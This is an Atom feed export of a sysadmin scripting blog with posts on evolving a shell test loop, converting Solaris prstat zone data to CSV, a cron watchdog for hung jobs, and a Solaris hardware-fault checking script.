<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-17206640</id><updated>2012-02-02T00:42:03.438+08:00</updated><category term='Atom'/><category term='Fedora'/><category term='gnulot'/><category term='Netflix'/><category term='sysadmin'/><category term='Cygwin'/><category term='sockspy'/><category term='Samba'/><category term='Data Centre'/><category term='malware'/><category term='Tcl'/><category term='storage'/><category term='thumbdrive'/><category term='youtube'/><category term='SQLite'/><category term='Windows'/><category term='sar'/><category term='dot'/><category term='DTrace'/><category term='http'/><category term='curl'/><category term='imap4'/><category term='Ethereal'/><category term='sed'/><category term='grid'/><category term='pop3'/><category term='SFU'/><category term='KVM'/><category term='SGE'/><category term='DOM'/><category term='awk'/><category term='RSS'/><category term='excel'/><category term='lsof'/><category term='python'/><category term='xpath'/><category term='Solaris'/><category term='bc'/><category term='singapore'/><category term='performance'/><category term='Apache'/><category term='livecd'/><category term='csv'/><category term='ipmi'/><category term='wget'/><category term='xen'/><category term='ZFS'/><category term='tDOM'/><category term='facebook'/><category term='scripting'/><category term='rendering'/><category term='computer science'/><category term='shell script'/><category term='virtualbox'/><category term='centos'/><category term='netstat'/><category term='java'/><category term='usb'/><category term='octave'/><category term='security'/><category term='Inspire'/><category term='X4500'/><category term='syslog'/><category term='XML'/><category term='HPC'/><category term='Graphviz'/><category term='iSCSI'/><category term='monitoring'/><category term='Perl'/><category term='bash'/><category term='Web Scraping'/><category term='tcom'/><category term='Endianness'/><category term='Maths'/><category term='Reflection'/><category term='NFS'/><category term='Sun'/><category term='cgi'/><category term='open office'/><category term='ImageMagick'/><category term='xvm'/><category term='software'/><category term='Linux'/><category term='unix'/><category term='html'/><category term='snmp'/><category term='quotes'/><category term='project management'/><category term='RRDtool'/><category term='opensolaris'/><category term='ubuntu'/><category term='Wiki'/><category term='google'/><title type='text'>Chi Hung Chan</title><subtitle type='html'>The Scripting Guy in the Lion City with a performance sense.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default?start-index=101&amp;max-results=100'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>354</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-17206640.post-4988853199735556207</id><published>2011-07-03T14:35:00.002+08:00</published><updated>2011-07-03T14:40:01.952+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>How A Simple Test Script Evolve</title><content type='html'>I will try to walk you through how a simple test script evolve from a one-time throw-away script to a more generic program that can be re-use.
&lt;p&gt;
The requirement is pretty simple. "Can I have a script to submit program-a to run 5 times for 10 minutes, 3 times for 5 minutes and 2 times for half an hour?". There you go with a one-time throw-away script. BTW, this is supposed to run on a Linux system
&lt;pre&gt;
#! /bin/sh

./program-a --duration 600
./program-a --duration 600
./program-a --duration 600
./program-a --duration 600
./program-a --duration 600

./program-a --duration 300
./program-a --duration 300
./program-a --duration 300

./program-a --duration 1800
./program-a --duration 1800
&lt;/pre&gt;
&lt;p&gt;
Our job is done. What if the requirement for duration needs to be changed and we will have to modify quite a few places in the above script. So the script evolved to do some looping.
&lt;pre&gt;
#! /bin/sh

for i in 1 2 3 4 5
do
    ./program-a --duration 600
done

for i in 1 2 3
do
    ./program-a --duration 300
done

for i in 1 2
do
   ./program-a --duration 1800
done
&lt;/pre&gt;
&lt;p&gt;
Not too bad! But there are still a few places where we hard code things like how many times we loop and the duration. OK, may be we can do some form of input instead of fix values
&lt;pre&gt;
#! /bin/sh

while read duration howmany
do
    seq $howmany | while read count
    do
        ./program-a --duration $duration
    done
done &amp;lt;&amp;lt;EOF
600 5
300 3
1800 2
EOF
&lt;/pre&gt;
&lt;p&gt;
Now all I have to do is to change the input data (within the EOF) in the script to control the duration in seconds and how many times to loop through. Hey, but I still need to modify the program every time there is a change in requirement. Can't we have that information to be controlled by input arguments. Also, I want to tell the script in terms of day/hour/minute/second instead of just seconds because I am lazy to calculate. Not a problem at all. Let say the input argument takes the form of "1d23h45m6sx7" to represent looping through the prgroam 7 times with a duration of 1 day 23 hours 45 minutes 6 seconds (that is 171906 seconds, if you work it out). This calculation can be easily done by using sed to substitute day (d) with '*86400+', hour (h) with '*3600+', minute (m) with '*60+' and second (s) with ''. You also need to remove any ending '+' to avoid illegal arthematic epxpression.
&lt;pre&gt;
#! /bin/sh

if [ $# -eq 0 ]; then
    echo "Usage: $0 &lt;?d?h?m?sx?&gt; [?d?h?m?sx?]"
    echo "       Eg. $0 1d23h45m6sx17 4h30sx8 1hx7"
    exit 1
fi


# check arg syntax
for arg in $@
do
    echo $arg | egrep '^([1-9][0-9]*d)?([1-9][0-9]*h)?([1-9][0-9]*m)?([1-9][0-9]*s)?x[1-9][0-9]*$' &gt; /dev/null 
    if [ $? -ne 0 ]; then
        echo "Error. $arg syntax not correct"
        exit 2
    fi
done


for arg in $@
do

    duration=`echo ${arg%x*} | sed -e 's/d/*86400+/;s/h/*3600+/;s/m/*60+/;s/s//;s/+$//' | bc`
    for count in `seq ${arg#*x}`
    do
        ./program-a --duration $duration
    done
done
&lt;/pre&gt;
&lt;p&gt;
If you need to run program-a 1.5 day once, 3 hour and 5 seconds twice and 30 minutes thrice, all you need to do is
&lt;br&gt;
&lt;code&gt;./loop.sh 1d12hx1 3h5sx2 30mx3&lt;/code&gt;
&lt;br&gt;
I hope this blog shows you how a simple script can evolve into something so generic that your future test scripts can be based on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4988853199735556207?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4988853199735556207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4988853199735556207' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4988853199735556207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4988853199735556207'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/07/how-simple-test-script-evolve.html' title='How A Simple Test Script Evolve'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6755826387485223524</id><published>2011-05-29T10:51:00.006+08:00</published><updated>2011-05-29T11:34:52.904+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Monitor Solaris Zones with prstat</title><content type='html'>&lt;a href="http://www.oracle.com/us/products/servers-storage/solaris/index.html"&gt;Solaris&lt;/a&gt; provides an interactive command line tool, prstat, to help you to monitor the &lt;a href="http://www.oracle.com/technetwork/systems/containers/index.html"&gt;zone&lt;/a&gt; utilisation if you provide "-Z" flag. The screen displays both processes info and zones info to fit your terminal window.
&lt;pre&gt;
   PID USERNAME  SIZE   RSS STATE  PRI NICE      TIME  CPU PROCESS/NLWP       
  8632 chihung  7204K 6792K cpu10   49    0   0:00:00 0.0% prstat/1
   584 root     1696K  684K sleep   59    0   0:00:00 0.0% smcboot/1
   260 root     2008K 1244K sleep   59    0   0:00:00 0.0% ttymon/1
   228 root     2264K  924K sleep   59    0   0:01:16 0.0% cron/1
   112 root     3524K 2600K sleep   59    0   0:00:00 0.0% picld/5
   110 root     2140K 1288K sleep   59    0   0:00:00 0.0% syseventd/14
   255 root     1696K  904K sleep   59    0   0:00:05 0.0% sac/1
   231 daemon   2280K  940K sleep   59    0   0:00:00 0.0% rpcbind/1
   130 root     7952K 6216K sleep   59    0   0:00:03 0.0% devfsadm/72
 22936 root     3348K 1356K sleep   59    0   0:00:00 0.0% sshd/1
  9186 root     4424K 2508K sleep   59    0   0:00:00 0.0% htt_server/2
   237 daemon   2028K 1276K sleep   60  -20   0:00:00 0.0% nfs4cbd/2
   138 daemon   4076K 2188K sleep   59    0   0:09:56 0.0% kcfd/4
   238 daemon    495M  494M sleep   59    0   0:06:46 0.0% nfsmapid/4
   137 root     1312K  888K sleep   59    0   0:00:00 0.0% powerd/2
     9 root     9672K 8720K sleep   59    0   0:03:00 0.0% svc.configd/17
     7 root       12M   10M sleep   59    0   0:02:47 0.0% svc.startd/13
   239 daemon   2336K 1512K sleep   59    0   0:00:00 0.0% statd/1
ZONEID    NPROC  SIZE   RSS MEMORY      TIME  CPU ZONE                        
     0      123 1489M 1008M   3.0%  10:01:44 0.0% global                      
    26       29   90M   56M   0.1%   0:18:41 0.0% john                      
    27       33  169M  123M   0.3%   0:23:04 0.0% mark                 
     5       31  155M  118M   0.3%   0:18:47 0.0% node102                     
     2       32  161M  122M   0.3%   1:21:49 0.0% sgeexec2                    
    62       33  168M  122M   0.3%   0:22:38 0.0% henry                     
    19       29   89M   54M   0.1%   0:18:56 0.0% peter                     
Total: 2221 processes, 8427 lwps, load averages: 1.65, 4.26, 2.60
&lt;/pre&gt;
&lt;p&gt;
With "-c" flag to avoid overwritting the previous display and "-n 1,99999" to tell prstat to display up to 99999 zones (that should be enough for all your zones) information, you can pipe that to AWK to extract the MEMORY and CPU. If you schedule this task to start at mid-night daily at a sampling interval of 300 with 288 samples, you cover the whole day monitoring of all your zones.
&lt;p&gt;
Here is a script to convert the prstat zone data to CSV
&lt;pre&gt;
#! /bin/ksh


export PATH=/usr/bin:/bin:/usr/sbin:/sbin


# zone IDs store as comma separated
zids=`zoneadm list -v | awk 'NR&amp;gt;1{printf("%d,",$1)}'`
zids=${zids%,}

# zone NAMEs store as comma separated
znames=`zoneadm list -v | awk 'NR&amp;gt;1{printf("%s,",$2)}'`
znames=${znames%,}


prstat -Z -n 1,99999 $1 $2 | nawk -v zids=$zids -v znames=$znames '
# print header (mem/* and cpu/*)
BEGIN {
 n=split(zids,a,",")
 m=split(znames,b,",")
 # %mem ($5)
 for(i=1;i&amp;lt;=n;++i){
  printf("mem/%s,",b[i])
 }
 # %cpu ($7)
 for(i=1;i&amp;lt;=n;++i){
  printf("cpu/%s,",b[i])
 }
 printf("\n")
}
# store each interval in array
/ZONEID/,/Total/ {
 if ( $0 !~ /ZONEID/ &amp;amp;&amp;amp; $0 !~ /Total/ ) {
  gsub("%","")
  mem[$1]=$5
  cpu[$1]=$7
 }
}
/Total/ {
 for(i=1;i&amp;lt;=n;++i) {
  printf("%s,",mem[a[i]])
 }
 for(i=1;i&amp;lt;=n;++i) {
  printf("%s,",cpu[a[i]])
 }
 printf("\n")
}'
&lt;/pre&gt;
&lt;p&gt;
Let's run through it with an interval of 10 seconds for 4 samples. If you have 3 zones in this machine, the output will look like this
&lt;pre&gt;
./zstat.sh 10 4
mem/global,mem/zone1,mem/zone2,mem/zone3,cpu/global,cpu/zone2,cpu/zone3,
3.2,1.2,1.0,1.0,23.0,5.0,7.0,9.0,2.0,
4.7,1.5,1.7,1.5,31.0,15.0,6.0,9.0,1.0,
11.0,5.7,2.3,3.0,40.0,5.0,22.0,13.0,5.0,
13.2,7.2,4.0,2.0,34.0,5.0,17.0,10.0,7.0,
&lt;/pre&gt;
I ran this script in my machines with 67 zones and imported the CSV into openoffice, here is the sample output:
&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-8bn3cTrzPR0/TeG-UHIp9mI/AAAAAAAAAo8/RlBaG7y1aBA/s1600/Screenshot-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://1.bp.blogspot.com/-8bn3cTrzPR0/TeG-UHIp9mI/AAAAAAAAAo8/RlBaG7y1aBA/s320/Screenshot-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5611975863402362466" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6755826387485223524?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6755826387485223524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6755826387485223524' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6755826387485223524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6755826387485223524'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/05/monitor-solaris-zones-with-prstat.html' title='Monitor Solaris Zones with prstat'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-8bn3cTrzPR0/TeG-UHIp9mI/AAAAAAAAAo8/RlBaG7y1aBA/s72-c/Screenshot-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7698541117965695566</id><published>2011-03-05T21:35:00.002+08:00</published><updated>2011-03-05T21:40:55.753+08:00</updated><title type='text'>200 Countries, 200 Years, 4 Minutes</title><content type='html'>Another great &lt;a href="http://chihungchan.blogspot.com/2010/10/data-visualization.html"&gt;Data Visualization&lt;/a&gt; example.
&lt;p&gt;
&lt;iframe title="YouTube video player" width="640" height="390" src="http://www.youtube.com/embed/jbkSRLYSojo" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;
Wonder why Congo still stuck in the bottom-left of the chart. You may want to find out more about &lt;a href="http://www.mediastorm.com/publication/rape-of-a-nation"&gt;Rape of a Nation&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7698541117965695566?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7698541117965695566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7698541117965695566' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7698541117965695566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7698541117965695566'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/03/200-countries-200-years-4-minutes.html' title='200 Countries, 200 Years, 4 Minutes'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/jbkSRLYSojo/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2383275511944293689</id><published>2011-03-05T21:11:00.001+08:00</published><updated>2011-03-05T21:11:46.781+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>No More Hanging Jobs in Cron</title><content type='html'>Have you encountered 'prtdiag' or other commands hang for whatever reason? If your script happens to run these commands and launch from cron, your job will simply pile up until cron hits the limit. By default, Solaris configured cron to run 100 concurrent jobs and the next 101th job will just fail.
&lt;p&gt;
I developed a launcher program (watchdog) to limit the runtime of script (worker) that may have the above mentioned behaviour. It works well with my &lt;a href="http://chihungchan.blogspot.com/2011/03/feel-like-scripting-guy-again.html"&gt;worker script&lt;/a&gt; and it should work for other programs too. So, no more hanging job in cron !!
&lt;p&gt;
&lt;pre&gt;
#! /bin/ksh
#
# A watchdog program to limit the elapsed time of the worker shell script
# to avoid hanging processes that can pile up if worker runs under cron
#


export PATH=/usr/bin:/usr/sbin:/bin


#
# default time limit is 60 seconds
#
timelimit=${1:-60}

B
worker="${0%/*}/check-worker.ksh"
worker_name=${worker##*/}
worker_name=${worker_name%.*}
if [ ! -f $worker ]; then
    echo "Error. \"$worker\" cannot be found"
    exit 1
fi
if [ ! -x $worker ]; then
    echo "Error. \"$worker\" is not executable"
    exit 2
fi


watchdog()
{
    sleep 1; # wait for the worker to start
    while [ $timelimit -gt 0 ]
    do
        # pgrep is available since 5.8, else use ps -ef | grep -v grep | grep $worker_name
        jobid=`pgrep $worker_name`
        if [ $? -eq 1 ]; then
            break
        else
            sleep 1
        fi
        ((timelimit-=1))
    done
    if [ $timelimit -eq 0 ]; then
        # kill worker + child processes
        ptree $jobid | awk '$1=='$jobid'{start=1}start==1{print $1}' | while read pid
            do
                kill -TERM "$pid" &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
            done
    fi
}


#
# start the watchdog before the worker
#
watchdog &amp;amp;


tmpfile="/tmp/.$work_name.$$"
$worker &amp;gt; $tmpfile 2&amp;gt;&amp;amp;1 &amp;amp;
worker_id=$!
wait $worker_id &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
rc=$?


if [ $rc -ne 0 ]; then
    # replace this line to do whatever you want, send email, sms, logger....
    #
    # echo .... | mailx someone@somewhere.com

    details=`cat $tmpfile 2&amp;gt;/dev/null`
    echo "Exit status=$rc. There is a problem with the server '`hostname`' - $details"
fi


rm -f $tmpfile
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2383275511944293689?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2383275511944293689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2383275511944293689' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2383275511944293689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2383275511944293689'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/03/no-more-hanging-jobs-in-cron.html' title='No More Hanging Jobs in Cron'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-9193959774812554955</id><published>2011-03-05T20:39:00.005+08:00</published><updated>2011-03-06T13:41:05.408+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Feel Like A Scripting Guy Again!</title><content type='html'>I have not been scripting for quite a while and feel like I don't quality as a "Scripting Guy in the Lion City" anymore. Luckily my colleage (now is ex-colleague, 'cos I will be starting my new job next week) approached me to develop script to check hardware error messages from the /var/adm/messages in Solaris. Now I am as happy as a sandboy, or I should say "As Happy As A Scripting Guy!"
&lt;p&gt;
Anyway, here is my last script in the company.
&lt;p&gt;
If this script is going to run periodically via cron, we cannot just 'grep' certain pattern from the file. What if the /var/adm/messages has not been rotated for days or even weeks, it will be pretty inefficient to simply scan through the entire file. BTW, I have seen /var/adm/messages as big as few GB. Also, problem fixed previously will also appear in /var/adm/messages if it is not rotated.
&lt;p&gt;
The only way is to 'grep' only the content from where it left off in the previous run. It is easy to keep track of the current file size and store this information somewhere for the next poll to consume. The challenge is to 'seek' to the previous location and output only the content between the two polls. However, I am not able to find any UNIX commands that allow me to 'cat' file based on byte range.
&lt;p&gt;
In order to accomplish this, some high level scripting languages are used. Perl is selected because it is available since Solaris 8. Below one-liner is able to 'cat' only the updated contents in /var/adm/messages.
&lt;pre&gt;
POS=$prev_pos perl -e 'open(F,"/var/adm/messages");seek(F,$ENV{"POS"},0); while($line=&amp;lt;F&amp;gt;){print $line;}'
&lt;/pre&gt;
&lt;p&gt;
Who say shell script is slow and inefficient! Always challenge yourself for a better solution.
&lt;p&gt;
Here is the complete script doing all the checking
&lt;pre&gt;
#! /usr/bin/ksh
#
# Check on all the faults
#       hardware, svm, vx, df, /var/adm/messages, ifconfig, psrinfo
# Exit 1 if there is an error
#



PATH=/usr/bin:/usr/sbin:/usr/platform/`arch -k`/sbin:/usr/sfw/bin:/usr/local/bin
export PATH
LD_LIBRARY_PATH=/usr/lib:usr/platform/`arch -k`/lib:/usr/sfw/lib:/usr/local/lib
export LD_LIBRARY_PATH


Update()
{
    # if you do not want output, simply comment out the 'echo' command
    # remember to leave the colon (no-ops) command there
    echo "$1,\c"
    :
}


RC=0


#
# prtdiag(1M) - display system diagnostic information
#
# Exit Status
# 0 No failures or errors are detected in the system.
# 1 Failures or errors are detected in the system.
# 2 An internal prtdiag error occurred, for example, out of memory.
#
prtdiag &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
[ $? -ne 0 ] &amp;amp;&amp;amp; ((RC+=1)) &amp;amp;&amp;amp; Update prtdiag



#
# fmadm(1M) - fault management configuration tool
#
# Exit Status
# 0 Successful completion.
# 1 An error occurred. Errors include a failure to communicate with fmd or 
#   insufficient privileges to perform the requested operation.
# 2 Invalid command-line options were specified.
#
osver=`uname -r`
if [ "${osver#*.}" -ge 10 ]; then
    fmadm faulty &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    [ $? -ne 0 ] &amp;amp;&amp;amp; ((RC+=1)) &amp;amp;&amp;amp; Update fmadm
fi



#
# df(1M) - displays number of free disk blocks and free files
#
# Exit Status
# 0  Successful completion.
# &amp;gt;0 An error occurred.
#
df -l &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
[ $? -ne 0 ] &amp;amp;&amp;amp; ((RC+=1)) &amp;amp;&amp;amp; Update df



#
# ifconfig(1M) - configure network interface parameters
#
# Interface flag:
# FAILED
#     The  interface  has  failed.  New  addresses  cannot  be
#     created  on this interface. If this interface is part of
#     an IP network multipathing group, a failover will  occur
#     to another interface in the group, if possible
#
ifconfig -a | grep FAILED &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
[ $? -eq 0 ] &amp;amp;&amp;amp; ((RC+=1)) &amp;amp;&amp;amp; Update ifconfig



#
# check svm via metadb and metastat
#
pkginfo SUNWmdu &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
if [ $? -eq 0 ]; then
    metaset=`metaset`
    metadb &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    if [ $? -eq 0 -a ! -z $metaset ]; then

        # output should not have these characters from metadb, see metadb -i man page
        # d - replica does not have an associated device ID.
        # r - replica does not have device relocation information
        # W - replica has device write errors
        # M - replica had problem with master blocks
        # D - replica had problem with data blocks
        # F - replica had format problems
        # S - replica is too small to hold current database
        # R - replica had device read errors
        # B - tagged data associated with the replica is not valid
        metadb -i | sed -n '2,$s/[1-9][0-9].*//p' | egrep '[drWMDFSRB]' &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
        rc1=$?
        #
        metastat | awk '$1=="State:" &amp;amp;&amp;amp; $2!="Okay" {exit(1)}'
        rc2=$?
        if [ $rc1 -ne 0 -o $rc2 -ne 0 ]; then
            ((RC+=1))
            Update svm
        fi
    fi
fi



#
# psrinfo(1M) - displays information about processors
# Exit Status
# 0  Successful completion.
# &amp;gt;0 An error occurred.
#
psrinfo &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
rc1=$?
psrinfo | awk '$2!="on-line"{exit(1)}'
rc2=$?
if [ $rc1 -ne 0 -o $rc2 -ne 0 ]; then
    ((RC+=1))
    Update psrinfo
fi



#
# VX
#
pkginfo VRTSvxfs VRTSvxvm &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
if [ $? -eq 0 ]; then
    vxdisk list 2&amp;gt;&amp;amp;1 | grep -i fail &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    if [ $? -eq 0 ]; then
        ((RC+=1))
        Update vx
    fi
fi



#
# 'grep' from /var/adm/messages
# need to seek to the previous position, instead of scan through the whole file again
#
hidden=${0##*/}
hidden="/tmp/.${hidden%%.*}_var-adm-messages"
prev_pos=0
if [ -f $hidden ]; then
    prev_pos=`cat $hidden`
fi
# if previous position is less than current file size, likely file has been recycled
filesize=`ls -l /var/adm/messages | awk '{print $5}'`
if [ $prev_pos -gt $filesize ]; then
    prev_pos=0
fi
#
perl -e 'open(F,"/var/adm/messages");seek(F,'$prev_pos',0); while($line=&amp;lt;F&amp;gt;){print $line;}' | \
    egrep -i 'ECC error|PS[0-9] has FAILED|Link Down|reboot after panic|file system full|by NR list: I/O error|fmd.*SEVERITY: Critical' &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
if [ $? -eq 0 ]; then
    ((RC+=1))
    Update /var/adm/messages
fi
ls -l /var/adm/messages | awk '{print $5}' &amp;gt; $hidden



if [ $RC -gt 0 ]; then
    exit 1
fi
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-9193959774812554955?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/9193959774812554955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=9193959774812554955' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9193959774812554955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/9193959774812554955'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/03/feel-like-scripting-guy-again.html' title='Feel Like A Scripting Guy Again!'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-5168778910675173569</id><published>2011-02-26T21:45:00.002+08:00</published><updated>2011-02-26T21:47:32.978+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Maths'/><title type='text'></title><content type='html'>For those who follows &lt;a href="http://model4maths.blogspot.com/"&gt;Model Approach for Primary School Maths&lt;/a&gt; blog:
&lt;p&gt;
I just published a eBook in &lt;a href="http://www.lulu.com/"&gt;LuLu.com&lt;/a&gt;. This ebook features 100 upper primary school problem sum questions with 'Model' answers. It costs only US$7.99.
&lt;p&gt;
&lt;a href="http://www.lulu.com/product/ebook/model-approach-for-primary-school-mathematics/14958669"&gt;Model Approach for Primary School Mathematics&lt;/a&gt;
&lt;p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-328DZlG1xJk/TWkDREnU4GI/AAAAAAAAAnM/QqOTaelpnJA/s1600/model4maths-lulu.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://4.bp.blogspot.com/-328DZlG1xJk/TWkDREnU4GI/AAAAAAAAAnM/QqOTaelpnJA/s320/model4maths-lulu.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5577993205306417250" /&gt;&lt;/a&gt;
&lt;p&gt;
Hope you find this useful. Thanks&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5168778910675173569?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5168778910675173569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5168778910675173569' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5168778910675173569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5168778910675173569'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2011/02/for-those-who-follows-model-approach.html' title=''/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 